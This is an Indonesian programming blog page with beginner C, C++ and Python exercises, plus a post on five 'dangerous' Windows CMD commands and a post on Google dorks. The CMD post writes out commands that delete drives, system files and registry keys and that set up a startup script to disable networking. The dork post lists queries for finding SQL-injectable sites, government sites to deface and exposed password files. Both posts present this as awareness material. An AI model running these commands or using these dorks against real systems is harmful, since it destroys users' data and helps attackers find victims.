skip to main | skip to sidebar

Tuesday 16 July 2019

Program Sederhana dengan Bahasa C

0 comments
Kali ini saya akan men-contohkan program sederhana dengan bahasa C. Karena ada yang minta dibuatkan program dengan bahasa C, ya saya buatkan. Kalau hanya sebatas program simple saya buatkan gratis kalau mau beserta penjelasannya. Untuk program yang kompleks, kalau pengen gratis ya kgk bisa. Oke, kita langsung bahas program. Program yang ini cukup sederhana, atau bisa dibilang terlalu sederhana. Ya, karena hanya sebatas contoh saja.


Kode programnya sebagai berikut, saya terbiasa mengcoding bahasa pemrograman javacript, jadi pakai compiler online untuk membuat program seperti C/C++. Compiler untuk bahasa C yang sering saya pakai untuk ngoding yaitu di OnlineGDB. Saya akan langsung menunjukan kode program secara full dan outputnya.

Kode Program :
#include <stdio.h>
int main()
{
    char nama_depan[] = "Ven";
    char nama_belakang[] = "DS";
    int umur = 22;
    float nilaiA = 90.5;
    float nilaiB = 89.2;
    float nilaiC = 100.0;
    float nilaiRata = (nilaiA + nilaiB + nilaiC) / 3.0;
   
    printf("Nama Lengkap : %s %s\n", nama_depan, nama_belakang);
    printf("Umur : %d\n", umur);
    printf("Nilai : %f", nilaiRata);
   
    return 0;
}

Output dari program :


Sekian program sederhananya. Jika pertanyaan lain silahkan tulis di kolom komentar atau hubungi kontak yang tersedia.

Monday 15 July 2019

Menganalisa Algoritma - #1

0 comments
Lagi-lagi pertanyaan dari Brainly, saya menjawab pertanyaan dari seseorang untuk mengetahui output dari sebuah algoritma program. Secara simple algoritma adalah sebuah gambaran yang digunakan untuk menjelaskan sebuah proses. Cara penulisan algoritma kebanyakan orang pasti berbeda-beda, namum intinya sama semua. Penulisan algoritma hampir mirip juga dengan penulisan pada bahasa pemrograman.


Algoritmanya seperti ini :
Variabel i, a, n : integer
i = 1
a = 5
n = 30
REPEAT
    a = a+i*i
    i=i+1
UNTIL a>n
WRITE a
END

Keluaran dari algorimanya adalah menampilkan nilai "a" yang dapat dilihat dari perintah "WRITE a". Output nya adalah 35.

Penjelasan Algoritma :
Deklarasi dan Inisialisasi variable :
i = 1
a = 5
n = 30
REPEAT
    pengecekan pada perintah until apakah (a > n) ?
    TIDAK, karena nilai a = 5
    nilai a dan i dimasukan kedalam proses aritmatika
    -->(a = a + i * i)
        a = 5 + 1 * 1 = 6

    -->(i = i + 1)
    i = 1 + 1 = 2
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 6
        a = 6 + 2 * 2 = 10
        i = 2 + 1 = 3
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 10
        a = 10 + 3 * 3 = 19
        i = 3 + 1 = 4
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 19
        a = 19 + 4 * 4 = 35
        i = 4 + 1 = 5
    pengecekan lagi pada perintah until (a > n ) ?
    YA, karena nilai a = 35 dan proses perulangan berhenti
WRITE a
WRITE, digunakan untuk menampilkan tulisan atau angka. Output / keluarnnya adalah nilai a yaitu 35.

Saya mencoba program dengan bahasa javascript dan hasilnya sama


Sekian ya untuk kali ini semoga bermanfaat. Jika ada pertanyaan silahkan tanyakan di kolom komentar. Sampai jumpa pada materi berikutnya.

5 Perintah CMD yang Berbahaya

0 comments
Kali ini yang akan saya jelaskan adalah 5 perintah atau command yang berbahaya untuk dilakukan, command ini berbahaya bukan untuk orang lain melainkan berbahaya bagi komputer itu sendiri. Hal ini saya jelaskan dengan tujuan agar menambah wawasan dan TIDAK SEMBARANGAN KETIKA MENGGUNAKAN PERINTAH INI.


Berikut saya jelaskan 5 perintah cmd yang berbahaya dan jangan pernah dicoba.

1. BSD ( Blue Screen of  Death )
Perintah ini akan membuat komputer anda menjadi Blue Screen secara langsung. Karena terjadi kerusakan, error, atau crash pada sistem.

Command :
delete %systemdrive%\*.* /f /s

2. Memformat Harddisk
Dengan perintah ini maka hardisk anda akan terformat, pemformatan harddisk bisa dilakukan di drive C: atau dive tempat dimana windows atau OS di install. Copy dan paste perintah dibawah ini kedalam sebuah file dengan format *.bat

Command :
rd /s/q/ D:\
rd /s/q/ C:\
rd /s/q/ E:\

3.Mematikan Internet secara Permanen
Seketika internet anda akan dimatikan dan tidak dapat dihidupkan lagi. Dengan kata lain jika anda menjalankan perintah ini anda harus menginstall ulang untuk bisa menggunakan internet lagi. Gunakan code dibawah ini copy, paste dan simpan kedalam file dengan format *.bat

Command :
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:window

4. Menghapus Registry Windows
Windows sangat memerlukan registry agar program maupun hardware dapat berjalan dengan lancar. Command ini akan merusak atau menghapus registry secara keseluruhan. Copy dan paste perintah dibawah ini dan simpan kedalam file dengan format *.bat

Command :
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

5. Menghapus Seluruh Data di Hard Disk Drive
Jika dengan command sebelumnya anda harus menggunakan beberapa perintah. Tapi untuk yang kali ini anda hanya memerlukan satu baris perintah saja dan hanya dengan beberapa huruf.

Command :
del *.*

Oke, sekian untuk materi kali ini semoga bermanfaat. Dan saya harap ini hanya digunakan untuk pengetahuan saja agar kalian bisa berhati-hati dalam menggunakan perintah seperti "del, delete atau rd". Sampai jumpa pada materi berikutnya.

Sunday 14 July 2019

Program Ganjil Genap Pada Array - Python

0 comments
Saya mendapatkan pertanyaan lagi di Brainly yaitu menentukan setiap bilangan pada array apakah bilangan tersebut termasuk ganjil atau genap. Bahasa pemrograman yang digunakan yaitu Python, versi python yang saya gunakan adalah versi 3.5. Pertanyaan ini diajukan oleh seseorang dengan peringkat "Si Hebat", saya heran sih kenapa dia mengajukan pertanyaan, padahal peringkatnya jauh dari saya dan dia juga sering menjawab persoalan tentang TI.


Pertanyaannya seperti ini :
Buatlah sebuah aplikasi python yang dapat mengubah Array dibawah ini

Array : [ 2 , 7 , 5 , 3 , 12 ]

Sehingga menghasilkan output
[ Genap , Ganjil , Ganjil , Ganjil , Genap ]

Untuk programnya seperti ini, saya akan memberikan penjelasan singkat.
## Array Data
dataA = [2, 7, 5, 3, 12]

## Mengambil panjang data pada array
dataLen = len(dataA);

## pengecekan setiap data pada array
for x in range(dataLen):

    if dataA[x] % 2 == 0:
        print("Genap", end="")

    else:
        print("Ganjil", end="")

    if x < dataLen - 1:
        print(" , ", end="")

Penjelasan :
Pada perulangan For akan diulangi sebanyak panjang atau jumlah data pada Array: dataA. Setiap data pada array akan di cek pada decision (IF) apakah nilai / angka nya termasuk genap atau ganjil, untuk mengeceknya dengan menggunakan modulo (simbol %), modulo berarti sisa bagi, dimana jika sebuah angka genap jika dibagi 2 akan memiliki sisa bagi 0 dan ganjil akan memiliki sisa bagi 1.

Decision IF ( x < dataLen - 1 ) digunakan untuk menampilkan pemisah output berupa tanda koma.

Output dari programnya seperti ini :


Oke, segitu saja ya untuk kali ini semoga bermanfaat. Jika ada pertanyaan lain silahkan tulis di kolom komentar.

The Power of Dork - Google Dork

0 comments
Postingan ini saya buat karena ada yang request / bertanya tentang "Google Dork". Google Dork adalah sebuah tehnik yang digunakan untuk mencari target. Target yang dicari berdasarkan google dork berbeda dengan pencarian pada umumnya. Google Dork digunakan untuk mencari target yang mungkin memiliki kerentanan.


Perintah Dork yang sering digunakan adalah inurl, site, intitle dan filetype. Untuk penulisan dork bisa ikuti format berikut :
type: kata_kunci

1. Inurl ( Pencarian berdasarkan URL )
Inurl biasanya digunakan untuk mencari target yang rentan terhadap Deface dan SQL Injection. Inurl maksudnya adalah pencarian berdasarkan URL atau sebuah link website.

Semisalnya Dork untuk SQLi
inurl: ?id=

Maka google akan menampilkan hasil website-website yang memiliki link / url website dengan kata kunci "?id=". Hasil dari pencarian : semua url dari website yang ditampilkan mengandung kata berdasarkan kata kunci ( "?id=" ). Contohnya seperti URL Kabelindo dan Coda :

www.kabelindo.co.id/readnews.php?id=4
coda.cc/product/product.php?id=4


Kata kunci dari Inurl bisa diganti ganti. Seperti berikut :
inurl: ?pageid=
inurl: article.php?id=
inurl: games.php?id=
inurl: newsdetail.php?id=
inurl: page.php?file=

2. Site ( Situs atau Domain )
Site digunakan untuk mencari target berdasakan domain. Site biasanya digunakan untuk mencari target yang akan di deface biasany website pemerintahan. Contoh doek site: .gov. Google akan mencarikan website-website yang mengandung domain ".gov". Gov adalah domain yang digunakan untuk website pemerintahan ( Government ). Berikut hasil pencariannya :


Dork lain yang terkait dengan Site :
site: .gov
site: .co.i
site: .com
site: .uk
site: .id
site: .xyz

3. Intitle ( Dengan judul / Website dengan Judul tertentu )
Intitle yaitu pencarian website dengan title tertentu. Semisal ada membuka website pada tab browser akan memunculkan tulisan Facebook.

Intitle biasanya digunakan untuk mencari website yang memiliki Open Index atau website yang tidak memiliki Framework atau miss configurasi pada Frameworknya. Ketika website memiliki Open Index attacker dapat mencuri data-data yang penting.

Contoh Dork
intitle: index of

Hasil dari pencarian Intitle :


Dork lain yang berkaitan dengan intitle :
intitle: index of
intitle: index of mp3
intitle: index of mp4
intitle: login
intitle: phpWebMail
intitle: phpPgAdmin
intitle: "portfix admin"

4. Filetype ( Tipe dari sebuah file )
Filetype biasanya digunakan untuk mencari file dengan format tertentu pada sebuah website.

Dork untuk Filetype
filetype: xls
filetype: log
filetype: log admin.log
filetype: sql ("password values")

Untuk Filetype saya tidak menjelaskan lebih lanjut karena saya sendiri kurang dalam menggunakan Filetype.

Sekian untuk artikel kali ini. Semoga bermanfaat. Silahkan tanya di kolom komentar jika ada yang kurang dimengerti.

Saturday 13 July 2019

Menghitung Bilangan 1 - N yang Habis Dibagi - C++

0 comments
Saya melihat ada yang menanyakan pertanyaan di brainly yaitu membuat sebuah algoritma untuk menghitung bilangan 1 sampai dengan n yang habis di bagi 3. Bilangan yang habis dibagi 3 maksudnya adalah bilangan tersebut tidak bersisa jika dibagi 3, dalam artian jika dihitung secara kalkulator nilai pembagiannya tidak mengandung nilai yang dibelakang koma.


Algoritmanya cukup sederhana tapi disini saya juga akan menunjukan programnya dengan bahasa pemrograan c++. Pertama kita buat algoritmanya terlebih dahulu, algoritmanya seperti ini : 
integer N
input N
for B = 1 to N do
    if B % 3 == 0 then
        output B
    end if
end for

Untuk menghitung bilangan 1 - N perlu menggunakan perulangan ( FOR ). Bilangan yang habis dibagi 3 berarti bilangan tersebut jika dibagi tersebut memiliki sisa bagi 0.

Contoh 9 jika dibagi 3 = 3 dan memiliki sisa bagi 0.
3 * 3 + 0 = 9

Contoh lagi 11 / 3 = 3 dan memiliki sisa bagi 2.
3 * 3 + 2 = 11

Untuk mengetahui sisa bagi dengan menggunakan mod atau modulo atau dengan menggunakan simbol %. Sekarang kita buat kode programnya.
// Example program
#include <iostream>
using namespace std;
int main()
{
    int N;
    cout << "Masukan Bilangan : ";
    cin >> N;
    for(int i = 1; i <= N; i++) {
        if(i % 3 == 0) {
            cout << i << " ";
        }
    }
}

Hasil dari programnya seperti ini :

Sekian untuk kali ini semoga bermanfaat. Jika ada pertanyaan lain silahkan tulis di kolom komentar.

Program Segitiga Angka - C++

0 comments
Masih dengan brainly lagi, saya melihat ada yang mengajukan pertanyaan mengenai program untuk membuat segitiga tetapi yang ditampilkan adalah angka menggunakan sebuah perulangan dan dengan bahasa C++. Saya tidak akan membahas disini secara detail.


Saya akan langsung menunjukan source code nya. Kalian bisa mencoba source code ini pada website CPP.sh tanpa menggunakan compiler pada komputer. Untuk bahasa pemrograman sejenis C saya sering menggunakan compiler online agar lebih mudah tetapi hanya untuk pembuatan program-program kecil.

Source Code Program Segitiga Angka :
// Example program
#include <iostream>
using namespace std;
int main()
{
    int i, j, n;
    cout << "Masukan Tinggi Segitiga :";
    cin >> n;
    for(i = 1; i <= n; i++) {
        for(j = 1; j <= i; j++) {
            cout << j;
        }
        cout << "\n";
    }
}

Outputnya Seperti ini :


Penjelasan singkat, perulangan yang digunakan adalah perulangan bersarang atau Nested Loop yaitu perulangan yang berada didalam perulangan. Perulangan pertama digunakan untuk baris pada segitiga, dan perualangan ke dua sebagai kolom yang digunakan untuk menampilkan angkanya.

Semoga membantu dan sampai jumpa pada materi berikutnya.